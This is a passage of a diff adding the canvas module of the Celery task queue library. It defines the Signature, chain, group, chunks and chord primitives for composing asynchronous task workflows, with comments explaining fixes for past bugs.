self.subtask_type, + 'immutable': self.immutable}, + app=self._app) + signature._type = self._type + return signature + + partial = clone + + def freeze(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + """Finalize the signature by adding a concrete task id. + + The task won't be called and you shouldn't call the signature + twice after freezing it as that'll result in two task messages + using the same task id. + + Returns: + ~@AsyncResult: promise of future evaluation. + """ + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + opts = self.options + try: + # if there is already an id for this task, return it + tid = opts['task_id'] + except KeyError: + # otherwise, use the _id sent to this function, falling back on a generated UUID + tid = opts['task_id'] = _id or uuid() + if root_id: + opts['root_id'] = root_id + if parent_id: + opts['parent_id'] = parent_id + if 'reply_to' not in opts: + # fall back on unique ID for this thread in the app + opts['reply_to'] = self.app.thread_oid + if group_id and "group_id" not in opts: + opts['group_id'] = group_id + if chord: + opts['chord'] = chord + if group_index is not None: + opts['group_index'] = group_index + # pylint: disable=too-many-function-args + # Borks on this, as it's a property. + return self.AsyncResult(tid) + + _freeze = freeze + + def replace(self, args=None, kwargs=None, options=None): + """Replace the args, kwargs or options set for this signature. + + These are only replaced if the argument for the section is + not :const:`None`. + """ + signature = self.clone() + if args is not None: + signature.args = args + if kwargs is not None: + signature.kwargs = kwargs + if options is not None: + signature.options = options + return signature + + def set(self, immutable=None, **options): + """Set arbitrary execution options (same as ``.options.update(…)``). + + Returns: + Signature: This is a chaining method call + (i.e., it will return ``self``). + """ + if immutable is not None: + self.set_immutable(immutable) + self.options.update(options) + return self + + def set_immutable(self, immutable): + self.immutable = immutable + + def _with_list_option(self, key): + items = self.options.setdefault(key, []) + if not isinstance(items, MutableSequence): + items = self.options[key] = [items] + return items + + def append_to_list_option(self, key, value): + items = self._with_list_option(key) + if value not in items: + items.append(value) + return value + + def extend_list_option(self, key, value): + items = self._with_list_option(key) + items.extend(maybe_list(value)) + + def link(self, callback): + """Add callback task to be applied if this task succeeds. + + Returns: + Signature: the argument passed, for chaining + or use with :func:`~functools.reduce`. + """ + return self.append_to_list_option('link', callback) + + def link_error(self, errback): + """Add callback task to be applied on error in task execution. + + Returns: + Signature: the argument passed, for chaining + or use with :func:`~functools.reduce`. + """ + return self.append_to_list_option('link_error', errback) + + def on_error(self, errback): + """Version of :meth:`link_error` that supports chaining. + + on_error chains the original signature, not the errback so:: + + >>> add.s(2, 2).on_error(errback.s()).delay() + + calls the ``add`` task, not the ``errback`` task, but the + reverse is true for :meth:`link_error`. + """ + self.link_error(errback) + return self + + def flatten_links(self): + """Return a recursive list of dependencies. + + "unchain" if you will, but with links intact. + """ + return list(itertools.chain.from_iterable(itertools.chain( + [[self]], + (link.flatten_links() + for link in maybe_list(self.options.get('link')) or []) + ))) + + def __or__(self, other): + if isinstance(other, _chain): + # task | chain -> chain + return _chain(seq_concat_seq( + (self,), other.unchain_tasks()), app=self._app) + elif isinstance(other, group): + # unroll group with one member + other = maybe_unroll_group(other) + # task | group() -> chain + return _chain(self, other, app=self.app) + elif isinstance(other, Signature): + # task | task -> chain + return _chain(self, other, app=self._app) + return NotImplemented + + def __ior__(self, other): + # Python 3.9 introduces | as the merge operator for dicts. + # We override the in-place version of that operator + # so that canvases continue to work as they did before. + return self.__or__(other) + + def election(self): + type = self.type + app = type.app + tid = self.options.get('task_id') or uuid() + + with app.producer_or_acquire(None) as producer: + props = type.backend.on_task_call(producer, tid) + app.control.election(tid, 'task', + self.clone(task_id=tid, **props), + connection=producer.connection) + return type.AsyncResult(tid) + + def reprcall(self, *args, **kwargs): + args, kwargs, _ = self._merge(args, kwargs, {}, force=True) + return reprcall(self['task'], args, kwargs) + + def __deepcopy__(self, memo): + memo[id(self)] = self + return dict(self) + + def __invert__(self): + return self.apply_async().get() + + def __reduce__(self): + # for serialization, the task type is lazily loaded, + # and not stored in the dict itself. + return signature, (dict(self),) + + def __json__(self): + return dict(self) + + def __repr__(self): + return self.reprcall() + + def items(self): + for k, v in super().items(): + yield k.decode() if isinstance(k, bytes) else k, v + + @property + def name(self): + # for duck typing compatibility with Task.name + return self.task + + @cached_property + def type(self): + return self._type or self.app.tasks[self['task']] + + @cached_property + def app(self): + return self._app or current_app + + @cached_property + def AsyncResult(self): + try: + return self.type.AsyncResult + except KeyError: # task not registered + return self.app.AsyncResult + + @cached_property + def _apply_async(self): + try: + return self.type.apply_async + except KeyError: + return _partial(self.app.send_task, self['task']) + + id = getitem_property('options.task_id', 'Task UUID') + parent_id = getitem_property('options.parent_id', 'Task parent UUID.') + root_id = getitem_property('options.root_id', 'Task root UUID.') + task = getitem_property('task', 'Name of task.') + args = getitem_property('args', 'Positional arguments to task.') + kwargs = getitem_property('kwargs', 'Keyword arguments to task.') + options = getitem_property('options', 'Task execution options.') + subtask_type = getitem_property('subtask_type', 'Type of signature') + immutable = getitem_property( + 'immutable', 'Flag set if no longer accepts new arguments') + + +def _prepare_chain_from_options(options, tasks, use_link): + # When we publish groups we reuse the same options dictionary for all of + # the tasks in the group. See: + # https://github.com/celery/celery/blob/fb37cb0b8/celery/canvas.py#L1022. + # Issue #5354 reported that the following type of canvases + # causes a Celery worker to hang: + # group( + # add.s(1, 1), + # add.s(1, 1) + # ) | tsum.s() | add.s(1) | group(add.s(1), add.s(1)) + # The resolution of #5354 in PR #5681 was to only set the `chain` key + # in the options dictionary if it is not present. + # Otherwise we extend the existing list of tasks in the chain with the new + # tasks: options['chain'].extend(chain_). + # Before PR #5681 we overrode the `chain` key in each iteration + # of the loop which applies all the tasks in the group: + # options['chain'] = tasks if not use_link else None + # This caused Celery to execute chains correctly in most cases since + # in each iteration the `chain` key would reset itself to a new value + # and the side effect of mutating the key did not propagate + # to the next task in the group. + # Since we now mutated the `chain` key, a *list* which is passed + # by *reference*, the next task in the group will extend the list + # of tasks in the chain instead of setting a new one from the chain_ + # variable above. + # This causes Celery to execute a chain, even though there might not be + # one to begin with. Alternatively, it causes Celery to execute more tasks + # that were previously present in the previous task in the group. + # The solution is to be careful and never mutate the options dictionary + # to begin with. + # Here is an example of a canvas which triggers this issue: + # add.s(5, 6) | group((add.s(1) | add.s(2), add.s(3))). + # The expected result is [14, 14]. However, when we extend the `chain` + # key the `add.s(3)` task erroneously has `add.s(2)` in its chain since + # it was previously applied to `add.s(1)`. + # Without being careful not to mutate the options dictionary, the result + # in this case is [16, 14]. + # To avoid deep-copying the entire options dictionary every single time we + # run a chain we use a ChainMap and ensure that we never mutate + # the original `chain` key, hence we use list_a + list_b to create a new + # list. + if use_link: + return ChainMap({'chain': None}, options) + elif 'chain' not in options: + return ChainMap({'chain': tasks}, options) + elif tasks is not None: + # chain option may already be set, resulting in + # "multiple values for keyword argument 'chain'" error. + # Issue #3379. + # If a chain already exists, we need to extend it with the next + # tasks in the chain. + # Issue #5354. + # WARNING: Be careful not to mutate `options['chain']`. + return ChainMap({'chain': options['chain'] + tasks}, + options) + + +@Signature.register_type(name='chain') +class _chain(Signature): + tasks = getitem_property('kwargs.tasks', 'Tasks in chain.') + + @classmethod + def from_dict(cls, d, app=None): + tasks = d['kwargs']['tasks'] + if tasks: + if isinstance(tasks, tuple): # aaaargh + tasks = d['kwargs']['tasks'] = list(tasks) + tasks = [maybe_signature(task, app=app) for task in tasks] + return _chain(tasks, app=app, **d['options']) + + def __init__(self, *tasks, **options): + tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) + else tasks) + super().__init__('celery.chain', (), {'tasks': tasks}, **options + ) + self._use_link = options.pop('use_link', None) + self.subtask_type = 'chain' + self._frozen = None + + def __call__(self, *args, **kwargs): + if self.tasks: + return self.apply_async(args, kwargs) + + def __or__(self, other): + if isinstance(other, group): + # unroll group with one member + other = maybe_unroll_group(other) + # chain | group() -> chain + tasks = self.unchain_tasks() + if not tasks: + # If the chain is empty, return the group + return other + return _chain(seq_concat_item( + tasks, other), app=self._app) + elif isinstance(other, _chain): + # chain | chain -> chain + return _chain(seq_concat_seq( + self.unchain_tasks(), other.unchain_tasks()), app=self._app) + elif isinstance(other, Signature): + if self.tasks and isinstance(self.tasks[-1], group): + # CHAIN [last item is group] | TASK -> chord + sig = self.clone() + sig.tasks[-1] = chord( + sig.tasks[-1], other, app=self._app) + return sig + elif self.tasks and isinstance(self.tasks[-1], chord): + # CHAIN [last item is chord] -> chain with chord body. + sig = self.clone() + sig.tasks[-1].body = sig.tasks[-1].body | other + return sig + else: + # chain | task -> chain + return _chain(seq_concat_item( + self.unchain_tasks(), other), app=self._app) + else: + return NotImplemented + + def clone(self, *args, **kwargs): + to_signature = maybe_signature + signature = super().clone(*args, **kwargs) + signature.kwargs['tasks'] = [ + to_signature(sig, app=self._app, clone=True) + for sig in signature.kwargs['tasks'] + ] + return signature + + def unchain_tasks(self): + # Clone chain's tasks assigning signatures from link_error + # to each task + tasks = [t.clone() for t in self.tasks] + for sig in self.options.get('link_error', []): + for task in tasks: + task.link_error(sig) + return tasks + + def apply_async(self, args=None, kwargs=None, **options): + # python is best at unpacking kwargs, so .run is here to do that. + args = args if args else () + kwargs = kwargs if kwargs else [] + app = self.app + if app.conf.task_always_eager: + with allow_join_result(): + return self.apply(args, kwargs, **options) + return self.run(args, kwargs, app=app, **( + dict(self.options, **options) if options else self.options)) + + def run(self, args=None, kwargs=None, group_id=None, chord=None, + task_id=None, link=None, link_error=None, publisher=None, + producer=None, root_id=None, parent_id=None, app=None, + group_index=None, **options): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + args = args if args else () + kwargs = kwargs if kwargs else [] + app = app or self.app + use_link = self._use_link + if use_link is None and app.conf.task_protocol == 1: + use_link = True + args = (tuple(args) + tuple(self.args) + if args and not self.immutable else self.args) + + tasks, results_from_prepare = self.prepare_steps( + args, kwargs, self.tasks, root_id, parent_id, link_error, app, + task_id, group_id, chord, group_index=group_index, + ) + + if results_from_prepare: + if link: + tasks[0].extend_list_option('link', link) + first_task = tasks.pop() + options = _prepare_chain_from_options(options, tasks, use_link) + + result_from_apply = first_task.apply_async(**options) + # If we only have a single task, it may be important that we pass + # the real result object rather than the one obtained via freezing. + # e.g. For `GroupResult`s, we need to pass back the result object + # which will actually have its promise fulfilled by the subtasks, + # something that will never occur for the frozen result. + if not tasks: + return result_from_apply + else: + return results_from_prepare[0] + + # in order for a chain to be frozen, each of the members of the chain individually needs to be frozen + # TODO figure out why we are always cloning before freeze + def freeze(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + _, results = self._frozen = self.prepare_steps( + self.args, self.kwargs, self.tasks, root_id, parent_id, None, + self.app, _id, group_id, chord, clone=False, + group_index=group_index, + ) + return results[0] + + def prepare_steps(self, args, kwargs, tasks, + root_id=None, parent_id=None, link_error=None, app=None, + last_task_id=None, group_id=None, chord_body=None, + clone=True, from_dict=Signature.from_dict, + group_index=None): + app = app or self.app + # use chain message field for protocol 2 and later. + # this avoids pickle blowing the stack on the recursion + # required by linking task together in a tree structure. + # (why is pickle using recursion? or better yet why cannot python + # do tail call optimization making recursion actually useful?) + use_link = self._use_link + if use_link is None and app.conf.task_protocol == 1: + use_link = True + steps = deque(tasks) + + # optimization: now the pop func is a local variable + steps_pop = steps.pop + steps_extend = steps.extend + + prev_task = None + prev_res = None + tasks, results = [], [] + i = 0 + # NOTE: We are doing this in reverse order. + # The result is a list of tasks in reverse order, that is + # passed as the ``chain`` message field. + # As it's reversed the worker can just do ``chain.pop()`` to + # get the next task in the chain. + while steps: + task = steps_pop() + # if steps is not empty, this is the first task - reverse order + # if i = 0, this is the last task - again, because we're reversed + is_first_task, is_last_task = not steps, not i + + if not isinstance(task, abstract.CallableSignature): + task = from_dict(task, app=app) + if isinstance(task, group): + # when groups are nested, they are unrolled - all tasks within + # groups within groups should be called in parallel + task = maybe_unroll_group(task) + + # first task gets partial args from chain + if clone: + if is_first_task: + task = task.clone(args, kwargs) + else: + task = task.clone() + elif is_first_task: + task.args = tuple(args) + tuple(task.args) + + if isinstance(task, _chain): + # splice (unroll) the chain + steps_extend(task.tasks) + continue + + # TODO why isn't this asserting is_last_task == False? + if isinstance(task, group) and prev_task: + # automatically upgrade group(...) | s to chord(group, s) + # for chords we freeze by pretending it's a normal + # signature instead of a group. + tasks.pop() + results.pop() + try: + task = chord( + task, body=prev_task, + task_id=prev_res.task_id, root_id=root_id, app=app, + ) + except AttributeError: + # A GroupResult does not have a task_id since it consists + # of multiple tasks. + # We therefore, have to construct the chord without it. + # Issues #5467, #3585. + task = chord( + task, body=prev_task, + root_id=root_id, app=app, + ) + + if is_last_task: + # chain(task_id=id) means task id is set for the last task + # in the chain. If the chord is part of a chord/group + # then that chord/group must synchronize based on the + # last task in the chain, so we only set the group_id and + # chord callback for the last task. + res = task.freeze( + last_task_id, + root_id=root_id, group_id=group_id, chord=chord_body, + group_index=group_index, + ) + else: + res = task.freeze(root_id=root_id) + + i += 1 + + if prev_task: + if use_link: + # link previous task to this task. + task.link(prev_task) + + if prev_res and not prev_res.parent: + prev_res.parent = res + + if link_error: + for errback in maybe_list(link_error): + task.link_error(errback) + + tasks.append(task) + results.append(res) + + prev_task, prev_res = task, res + if isinstance(task, chord): + app.backend.ensure_chords_allowed() + # If the task is a chord, and the body is a chain + # the chain has already been prepared, and res is + # set to the last task in the callback chain. + + # We need to change that so that it points to the + # group result object. + node = res + while node.parent: + node = node.parent + prev_res = node + return tasks, results + + def apply(self, args=None, kwargs=None, **options): + args = args if args else () + kwargs = kwargs if kwargs else {} + last, (fargs, fkwargs) = None, (args, kwargs) + for task in self.tasks: + res = task.clone(fargs, fkwargs).apply( + last and (last.get(),), **dict(self.options, **options)) + res.parent, last, (fargs, fkwargs) = last, res, (None, None) + return last + + @property + def app(self): + app = self._app + if app is None: + try: + app = self.tasks[0]._app + except LookupError: + pass + return app or current_app + + def __repr__(self): + if not self.tasks: + return f'<{type(self).__name__}@{id(self):#x}: empty>' + return remove_repeating_from_task( + self.tasks[0]['task'], + ' | '.join(repr(t) for t in self.tasks)) + + +class chain(_chain): + """Chain tasks together. + + Each tasks follows one another, + by being applied as a callback of the previous task. + + Note: + If called with only one argument, then that argument must + be an iterable of tasks to chain: this allows us + to use generator expressions. + + Example: + This is effectively :math:`((2 + 2) + 4)`: + + .. code-block:: pycon + + >>> res = chain(add.s(2, 2), add.s(4))() + >>> res.get() + 8 + + Calling a chain will return the result of the last task in the chain. + You can get to the other tasks by following the ``result.parent``'s: + + .. code-block:: pycon + + >>> res.parent.get() + 4 + + Using a generator expression: + + .. code-block:: pycon + + >>> lazy_chain = chain(add.s(i) for i in range(10)) + >>> res = lazy_chain(3) + + Arguments: + *tasks (Signature): List of task signatures to chain. + If only one argument is passed and that argument is + an iterable, then that'll be used as the list of signatures + to chain instead. This means that you can use a generator + expression. + + Returns: + ~celery.chain: A lazy signature that can be called to apply the first + task in the chain. When that task succeeds the next task in the + chain is applied, and so on. + """ + + # could be function, but must be able to reference as :class:`chain`. + def __new__(cls, *tasks, **kwargs): + # This forces `chain(X, Y, Z)` to work the same way as `X | Y | Z` + if not kwargs and tasks: + if len(tasks) != 1 or is_list(tasks[0]): + tasks = tasks[0] if len(tasks) == 1 else tasks + # if is_list(tasks) and len(tasks) == 1: + # return super(chain, cls).__new__(cls, tasks, **kwargs) + return reduce(operator.or_, tasks, chain()) + return super().__new__(cls, *tasks, **kwargs) + + +class _basemap(Signature): + _task_name = None + _unpack_args = itemgetter('task', 'it') + + @classmethod + def from_dict(cls, d, app=None): + return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) + + def __init__(self, task, it, **options): + super().__init__(self._task_name, (), + {'task': task, 'it': regen(it)}, immutable=True, **options + ) + + def apply_async(self, args=None, kwargs=None, **opts): + # need to evaluate generators + args = args if args else () + kwargs = kwargs if kwargs else {} + task, it = self._unpack_args(self.kwargs) + return self.type.apply_async( + (), {'task': task, 'it': list(it)}, + route_name=task_name_from(self.kwargs.get('task')), **opts + ) + + +@Signature.register_type() +class xmap(_basemap): + """Map operation for tasks. + + Note: + Tasks executed sequentially in process, this is not a + parallel operation like :class:`group`. + """ + + _task_name = 'celery.map' + + def __repr__(self): + task, it = self._unpack_args(self.kwargs) + return f'[{task.task}(x) for x in {truncate(repr(it), 100)}]' + + +@Signature.register_type() +class xstarmap(_basemap): + """Map operation for tasks, using star arguments.""" + + _task_name = 'celery.starmap' + + def __repr__(self): + task, it = self._unpack_args(self.kwargs) + return f'[{task.task}(*x) for x in {truncate(repr(it), 100)}]' + + +@Signature.register_type() +class chunks(Signature): + """Partition of tasks into chunks of size n.""" + + _unpack_args = itemgetter('task', 'it', 'n') + + @classmethod + def from_dict(cls, d, app=None): + return chunks(*cls._unpack_args(d['kwargs']), app=app, **d['options']) + + def __init__(self, task, it, n, **options): + super().__init__('celery.chunks', (), + {'task': task, 'it': regen(it), 'n': n}, + immutable=True, **options + ) + + def __call__(self, **options): + return self.apply_async(**options) + + def apply_async(self, args=None, kwargs=None, **opts): + args = args if args else () + kwargs = kwargs if kwargs else {} + return self.group().apply_async( + args, kwargs, + route_name=task_name_from(self.kwargs.get('task')), **opts + ) + + def group(self): + # need to evaluate generators + task, it, n = self._unpack_args(self.kwargs) + return group((xstarmap(task, part, app=self._app) + for part in _chunks(iter(it), n)), + app=self._app) + + @classmethod + def apply_chunks(cls, task, it, n, app=None): + return cls(task, it, n, app=app)() + + +def _maybe_group(tasks, app): + if isinstance(tasks, dict): + tasks = signature(tasks, app=app) + + if isinstance(tasks, (group, _chain)): + tasks = tasks.tasks + elif isinstance(tasks, abstract.CallableSignature): + tasks = [tasks] + else: + if isinstance(tasks, GeneratorType): + tasks = regen(signature(t, app=app) for t in tasks) + else: + tasks = [signature(t, app=app) for t in tasks] + return tasks + + +@Signature.register_type() +class group(Signature): + """Creates a group of tasks to be executed in parallel. + + A group is lazy so you must call it to take action and evaluate + the group. + + Note: + If only one argument is passed, and that argument is an iterable + then that'll be used as the list of tasks instead: this + allows us to use ``group`` with generator expressions. + + Example: + >>> lazy_group = group([add.s(2, 2), add.s(4, 4)]) + >>> promise = lazy_group() # <-- evaluate: returns lazy result. + >>> promise.get() # <-- will wait for the task to return + [4, 8] + + Arguments: + *tasks (List[Signature]): A list of signatures that this group will + call. If there's only one argument, and that argument is an + iterable, then that'll define the list of signatures instead. + **options (Any): Execution options applied to all tasks + in the group. + + Returns: + ~celery.group: signature that when called will then call all of the + tasks in the group (and return a :class:`GroupResult` instance + that can be used to inspect the state of the group). + """ + + tasks = getitem_property('kwargs.tasks', 'Tasks in group.') + + @classmethod + def from_dict(cls, d, app=None): + # We need to mutate the `kwargs` element in place to avoid confusing + # `freeze()` implementations which end up here and expect to be able to + # access elements from that dictionary later and refer to objects + # canonicalized here + orig_tasks = d["kwargs"]["tasks"] + d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)( + maybe_signature(task, app=app) for task in orig_tasks + ) + return group(rebuilt_tasks, app=app, **d['options']) + + def __init__(self, *tasks, **options): + if len(tasks) == 1: + tasks = tasks[0] + if isinstance(tasks, group): + tasks = tasks.tasks + if isinstance(tasks, abstract.CallableSignature): + tasks = [tasks.clone()] + if not isinstance(tasks, _regen): + tasks = regen(tasks) + super().__init__('celery.group', (), {'tasks': tasks}, **options + ) + self.subtask_type = 'group' + + def __call__(self, *partial_args, **options): + return self.apply_async(partial_args, **options) + + def __or__(self, other): + # group() | task -> chord + return chord(self, body=other, app=self._app) + + def skew(self, start=1.0, stop=None, step=1.0): + it = fxrange(start, stop, step, repeatlast=True) + for task in self.tasks: + task.set(countdown=next(it)) + return self + + def apply_async(self, args=None, kwargs=None, add_to_parent=True, + producer=None, link=None, link_error=None, **options): + args = args if args else () + if link is not None: + raise TypeError('Cannot add link to group: use a chord') + if link_error is not None: + raise TypeError( + 'Cannot add link to group: do that on individual tasks') + app = self.app + if app.conf.task_always_eager: + return self.apply(args, kwargs, **options) + if not self.tasks: + return self.freeze() + + options, group_id, root_id = self._freeze_gid(options) + tasks = self._prepared(self.tasks, [], group_id, root_id, app) + p = barrier() + results = list(self._apply_tasks(tasks, producer, app, p, + args=args, kwargs=kwargs, **options)) + result = self.app.GroupResult(group_id, results, ready_barrier=p) + p.finalize() + + # - Special case of group(A.s() | group(B.s(), C.s())) + # That is, group with single item that's a chain but the + # last task in that chain is a group. + # + # We cannot actually support arbitrary GroupResults in chains, + # but this special case we can. + if len(result) == 1 and isinstance(result[0], GroupResult): + result = result[0] + + parent_task = app.current_worker_task + if add_to_parent and parent_task: + parent_task.add_trail(result) + return result + + def apply(self, args=None, kwargs=None, **options): + args = args if args else () + kwargs = kwargs if kwargs else {} + app = self.app + if not self.tasks: + return self.freeze() # empty group returns GroupResult + options, group_id, root_id = self._freeze_gid(options) + tasks = self._prepared(self.tasks, [], group_id, root_id, app) + return app.GroupResult(group_id, [ + sig.apply(args=args, kwargs=kwargs, **options) for sig, _, _ in tasks + ]) + + def set_immutable(self, immutable): + for task in self.tasks: + task.set_immutable(immutable) + + def link(self, sig): + # Simply link to first task. Doing this is slightly misleading because + # the callback may be executed before all children in the group are + # completed and also if any children other than the first one fail. + # + # The callback signature is cloned and made immutable since it the + # first task isn't actually capable of passing the return values of its + # siblings to the callback task. + sig = sig.clone().set(immutable=True) + return self.tasks[0].link(sig) + + def link_error(self, sig): + # Any child task might error so we need to ensure that they are all + # capable of calling the linked error signature. This opens the + # possibility that the task is called more than once but that's better + # than it not being called at all. + # + # We return a concretised tuple of the signatures actually applied to + # each child task signature, of which there might be none! + return tuple(child_task.link_error(sig) for child_task in self.tasks) + + def _prepared(self, tasks, partial_args, group_id, root_id, app, + CallableSignature=abstract.CallableSignature, + from_dict=Signature.from_dict, + isinstance=isinstance, tuple=tuple): + for task in tasks: + if isinstance(task, CallableSignature): + # local sigs are always of type Signature, and we + # clone them to make sure we don't modify the originals. + task = task.clone() + else: + # serialized sigs must be converted to Signature. + task = from_dict(task, app=app) + if isinstance(task, group): + # needs yield_from :( + unroll = task._prepared( + task.tasks, partial_args, group_id, root_id, app, + ) + yield from unroll + else: + if partial_args and not task.immutable: + task.args = tuple(partial_args) + tuple(task.args) + yield task, task.freeze(group_id=group_id, root_id=root_id), group_id + + def _apply_tasks(self, tasks, producer=None, app=None, p=None, + add_to_parent=None, chord=None, + args=None, kwargs=None, **options): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + app = app or self.app + with app.producer_or_acquire(producer) as producer: + # Iterate through tasks two at a time. If tasks is a generator, + # we are able to tell when we are at the end by checking if + # next_task is None. This enables us to set the chord size + # without burning through the entire generator. See #3021. + chord_size = 0 + for task_index, (current_task, next_task) in enumerate( + lookahead(tasks) + ): + # We expect that each task must be part of the same group which + # seems sensible enough. If that's somehow not the case we'll + # end up messing up chord counts and there are all sorts of + # awful race conditions to think about. We'll hope it's not! + sig, res, group_id = current_task + chord_obj = chord if chord is not None else sig.options.get("chord") + # We need to check the chord size of each contributing task so + # that when we get to the final one, we can correctly set the + # size in the backend and the chord can be sensible completed. + chord_size += _chord._descend(sig) + if chord_obj is not None and next_task is None: + # Per above, sanity check that we only saw one group + app.backend.set_chord_size(group_id, chord_size) + sig.apply_async(producer=producer, add_to_parent=False, + chord=chord_obj, args=args, kwargs=kwargs, + **options) + # adding callback to result, such that it will gradually + # fulfill the barrier. + # + # Using barrier.add would use result.then, but we need + # to add the weak argument here to only create a weak + # reference to the object. + if p and not p.cancelled and not p.ready: + p.size += 1 + res.then(p, weak=True) + yield res # <-- r.parent, etc set in the frozen result. + + def _freeze_gid(self, options): + # remove task_id and use that as the group_id, + # if we don't remove it then every task will have the same id... + options = dict(self.options, **options) + options['group_id'] = group_id = ( + options.pop('task_id', uuid())) + return options, group_id, options.get('root_id') + + def _freeze_group_tasks(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + opts = self.options + try: + gid = opts['task_id'] + except KeyError: + gid = opts['task_id'] = group_id or uuid() + if group_id: + opts['group_id'] = group_id + if chord: + opts['chord'] = chord + if group_index is not None: + opts['group_index'] = group_index + root_id = opts.setdefault('root_id', root_id) + parent_id = opts.setdefault('parent_id', parent_id) + if isinstance(self.tasks, _regen): + # We are draining from a generator here. + # tasks1, tasks2 are each a clone of self.tasks + tasks1, tasks2 = itertools.tee(self._unroll_tasks(self.tasks)) + # freeze each task in tasks1, results now holds AsyncResult for each task + results = regen(self._freeze_tasks(tasks1, group_id, chord, root_id, parent_id)) + # TODO figure out why this makes sense - + # we freeze all tasks in the clone tasks1, and then zip the results + # with the IDs of tasks in the second clone, tasks2. and then, we build + # a generator that takes only the task IDs from tasks2. + self.tasks = regen(x[0] for x in zip(tasks2, results)) + else: + new_tasks = [] + # Need to unroll subgroups early so that chord gets the + # right result instance for chord_unlock etc. + results = list(self._freeze_unroll( + new_tasks, group_id, chord, root_id, parent_id, + )) + if isinstance(self.tasks, MutableSequence): + self.tasks[:] = new_tasks + else: + self.tasks = new_tasks + return gid, results + + def freeze(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + return self.app.GroupResult(*self._freeze_group_tasks( + _id=_id, group_id=group_id, + chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index + )) + + _freeze = freeze + + def _freeze_tasks(self, tasks, group_id, chord, root_id, parent_id): + yield from (task.freeze(group_id=group_id, + chord=chord, + root_id=root_id, + parent_id=parent_id, + group_index=group_index) + for group_index, task in enumerate(tasks)) + + def _unroll_tasks(self, tasks): + # should be refactored to: (maybe_signature(task, app=self._app, clone=True) for task in tasks) + yield from (maybe_signature(task, app=self._app).clone() for task in tasks) + + def _freeze_unroll(self, new_tasks, group_id, chord, root_id, parent_id): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + stack = deque(self.tasks) + group_index = 0 + while stack: + task = maybe_signature(stack.popleft(), app=self._app).clone() + # if this is a group, flatten it by adding all of the group's tasks to the stack + if isinstance(task, group): + stack.extendleft(task.tasks) + else: + new_tasks.append(task) + yield task.freeze(group_id=group_id, + chord=chord, root_id=root_id, + parent_id=parent_id, + group_index=group_index) + group_index += 1 + + def __repr__(self): + if self.tasks: + return remove_repeating_from_task( + self.tasks[0]['task'], + f'group({self.tasks!r})') + return 'group()' + + def __len__(self): + return len(self.tasks) + + @property + def app(self): + app = self._app + if app is None: + try: + app = self.tasks[0].app + except LookupError: + pass + return app if app is not None else current_app + + +@Signature.register_type(name="chord") +class _chord(Signature): + r"""Barrier synchronization primitive. + + A chord consists of a header and a body. + + The header is a group of tasks that must complete before the callback is + called. A chord is essentially a callback for a group of tasks. + + The body is applied with the return values of all the header + tasks as a list. + + Example: + + The chord: + + .. code-block:: pycon + + >>> res = chord([add.s(2, 2), add.s(4, 4)])(sum_task.s()) + + is effectively :math:`\Sigma ((2 + 2) + (4 + 4))`: + + .. code-block:: pycon + + >>> res.get() + 12 + """ + + @classmethod + def from_dict(cls, d, app=None): + options = d.copy() + args, options['kwargs'] = cls._unpack_args(**options['kwargs']) + return cls(*args, app=app, **options) + + @staticmethod + def _unpack_args(header=None, body=None, **kwargs): + # Python signatures are better at extracting keys from dicts + # than manually popping things off. + return (header, body), kwargs + + def __init__(self, header, body=None, task='celery.chord', + args=None, kwargs=None, app=None, **options): + args = args if args else () + kwargs = kwargs if kwargs else {'kwargs': {}} + super().__init__(task, args, + {**kwargs, 'header': _maybe_group(header, app), + 'body': maybe_signature(body, app=app)}, app=app, **options + ) + self.subtask_type = 'chord' + + def __call__(self, body=None, **options): + return self.apply_async((), {'body': body} if body else {}, **options) + + def __or__(self, other): + if (not isinstance(other, (group, _chain)) and + isinstance(other, Signature)): + # chord | task -> attach to body + sig = self.clone() + sig.body = sig.body | other + return sig + else: + return super().__or__(other) + + def freeze(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + # pylint: disable=redefined-outer-name + # XXX chord is also a class in outer scope. + if not isinstance(self.tasks, group): + self.tasks = group(self.tasks, app=self.app) + # first freeze all tasks in the header + header_result = self.tasks.freeze( + parent_id=parent_id, root_id=root_id, chord=self.body) + # secondly freeze all tasks in the body: those that should be called after the header + body_result = self.body.freeze( + _id, root_id=root_id, chord=chord, group_id=group_id, + group_index=group_index) + # we need to link the body result back to the group result, + # but the body may actually be a chain, + # so find the first result without a parent + node = body_result + seen = set() + while node: + if node.id in seen: + raise RuntimeError('Recursive result parents') + seen.add(node.id) + if node.parent is None: + node.parent = header_result + break + node = node.parent + self.id = self.tasks.id + return body_result + + def apply_async(self, args=None, kwargs=None, task_id=None, + producer=None, publisher=None, connection=None, + router=None, result_cls=None, **options): + args = args if args else () + kwargs = kwargs if kwargs else {} + args = (tuple(args) + tuple(self.args) + if args and not self.immutable else self.args) + body = kwargs.pop('body', None) or self.kwargs['body'] + kwargs = dict(self.kwargs['kwargs'], **kwargs) + body = body.clone(**options) + app = self._get_app(body) + tasks = (self.tasks.clone() if isinstance(self.tasks, group) + else group(self.tasks, app=app)) + if app.conf.task_always_eager: + with allow_join_result(): + return self.apply(args, kwargs, + body=body, task_id=task_id, **options) + + merged_options = dict(self.options, **options) if options else self.options + option_task_id = merged_options.pop("task_id", None) + if task_id is None: + task_id = option_task_id + + # chord([A, B, ...], C) + return self.run(tasks, body, args, task_id=task_id, **merged_options) + + def apply(self, args=None, kwargs=None, + propagate=True, body=None, **options): + args = args if args else () + kwargs = kwargs if kwargs else {} + body = self.body if body is None else body + tasks = (self.tasks.clone() if isinstance(self.tasks, group) + else group(self.tasks, app=self.app)) + return body.apply( + args=(tasks.apply(args, kwargs).get(propagate=propagate),), + ) + + @classmethod + def _descend(cls, sig_obj): + # Sometimes serialized signatures might make their way here + if not 